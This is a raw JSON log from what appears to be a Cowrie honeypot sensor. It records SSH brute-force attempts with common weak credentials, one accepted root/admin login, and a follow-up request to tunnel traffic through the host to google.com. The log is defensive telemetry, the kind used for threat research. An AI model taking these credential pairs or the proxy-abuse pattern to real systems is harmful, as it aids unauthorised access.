{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:44.262684Z","src_ip":"159.203.92.129","session":"d6ee26155c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yuexf","password":"Yuexf123","message":"login attempt [Yuexf/Yuexf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:44.276631Z","src_ip":"159.203.92.129","session":"d6ee26155c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:45.285857Z","src_ip":"159.203.92.129","session":"d6ee26155c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.42.116.14","src_port":53327,"dst_ip":"10.17.0.5","dst_port":22,"session":"07af64624f34","protocol":"ssh","message":"New connection: 192.42.116.14:53327 (10.17.0.5:22) [session: 07af64624f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:47.797280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:48.614055Z","src_ip":"192.42.116.14","session":"07af64624f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:48.618398Z","src_ip":"192.42.116.14","session":"07af64624f34","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:51.833055Z","src_ip":"192.42.116.14","session":"07af64624f34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:51.836726Z","src_ip":"192.42.116.14","session":"07af64624f34","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:52.926869Z","src_ip":"192.42.116.14","session":"07af64624f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":47776,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cc3fb76fc87","protocol":"ssh","message":"New connection: 173.249.6.197:47776 (159.203.135.109:22) [session: 9cc3fb76fc87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:02.775227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:02.781587Z","src_ip":"173.249.6.197","session":"9cc3fb76fc87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:02.875984Z","src_ip":"173.249.6.197","session":"9cc3fb76fc87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":42548,"dst_ip":"10.17.0.5","dst_port":22,"session":"84b57605841f","protocol":"ssh","message":"New connection: 185.216.119.134:42548 (10.17.0.5:22) [session: 84b57605841f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:02.940786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:02.957498Z","src_ip":"185.216.119.134","session":"84b57605841f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lubuntu","password":"lubuntu","message":"login attempt [lubuntu/lubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:03.293444Z","src_ip":"173.249.6.197","session":"9cc3fb76fc87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:03.793736Z","src_ip":"185.216.119.134","session":"84b57605841f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:04.391911Z","src_ip":"173.249.6.197","session":"9cc3fb76fc87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"testpass","message":"login attempt [postgres/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:05.050029Z","src_ip":"185.216.119.134","session":"84b57605841f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:06.276893Z","src_ip":"185.216.119.134","session":"84b57605841f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"192.42.116.14","src_port":49318,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:49318","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:10.688032Z","session":"07af64624f34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:11.740474Z","src_ip":"192.42.116.14","session":"07af64624f34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81\\x1f-\\xbbl\\x89\\xaa\\xa4\\xa0\\x93\\xdb[\\x8d \\xb5T=w\\xca\\xc6\\x9d\\xb0\\xeb\\x7f\\xf9\\xf8qp\\xab\\xf3@< \\xc7\\xc7\\x00u\\x87\\xc7\\xdf\\x15\\xfd\\xa4\\xfc\\x89\\x92\\'C\\x9d\\x88\\xea4{\\x81\\xe3\\x07\\xdc\\xc4\\xac\\xaa\\x9fE(HC\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0\\'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd4B\\xfd\\xa5\\xfc\"\\x13\\xbd\\xed\\x18\\xfc\\t\\x95\\xb7\\xd7\\xfc?<\\x12=\\x14\\x10\\xbd\\x93*\\x19\\x86\\x06\\xcd.^\\x14\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81\\x1f-\\xbbl\\x89\\xaa\\xa4\\xa0\\x93\\xdb[\\x8d \\xb5T=w\\xca\\xc6\\x9d\\xb0\\xeb\\x7f\\xf9\\xf8qp\\xab\\xf3@< \\xc7\\xc7\\x00u\\x87\\xc7\\xdf\\x15\\xfd\\xa4\\xfc\\x89\\x92\\'C\\x9d\\x88\\xea4{\\x81\\xe3\\x07\\xdc\\xc4\\xac\\xaa\\x9fE(HC\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0\\'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd4B\\xfd\\xa5\\xfc\"\\x13\\xbd\\xed\\x18\\xfc\\t\\x95\\xb7\\xd7\\xfc?<\\x12=\\x14\\x10\\xbd\\x93*\\x19\\x86\\x06\\xcd.^\\x14\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:11.745155Z","src_ip":"192.42.116.14","session":"07af64624f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.5","message":"Connection lost after 24.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:12.286864Z","src_ip":"192.42.116.14","session":"07af64624f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":57974,"dst_ip":"159.203.135.109","dst_port":22,"session":"13920ece1044","protocol":"ssh","message":"New connection: 31.59.89.180:57974 (159.203.135.109:22) [session: 13920ece1044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:18.146018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:18.150789Z","src_ip":"31.59.89.180","session":"13920ece1044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:18.262336Z","src_ip":"31.59.89.180","session":"13920ece1044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4dm1n","message":"login attempt [admin/4dm1n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:18.739695Z","src_ip":"31.59.89.180","session":"13920ece1044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:19.854265Z","src_ip":"31.59.89.180","session":"13920ece1044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00447010993958,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:32.365335Z","src_ip":"207.219.53.174","session":"c538fec07c0c","protocol":"telnet"}
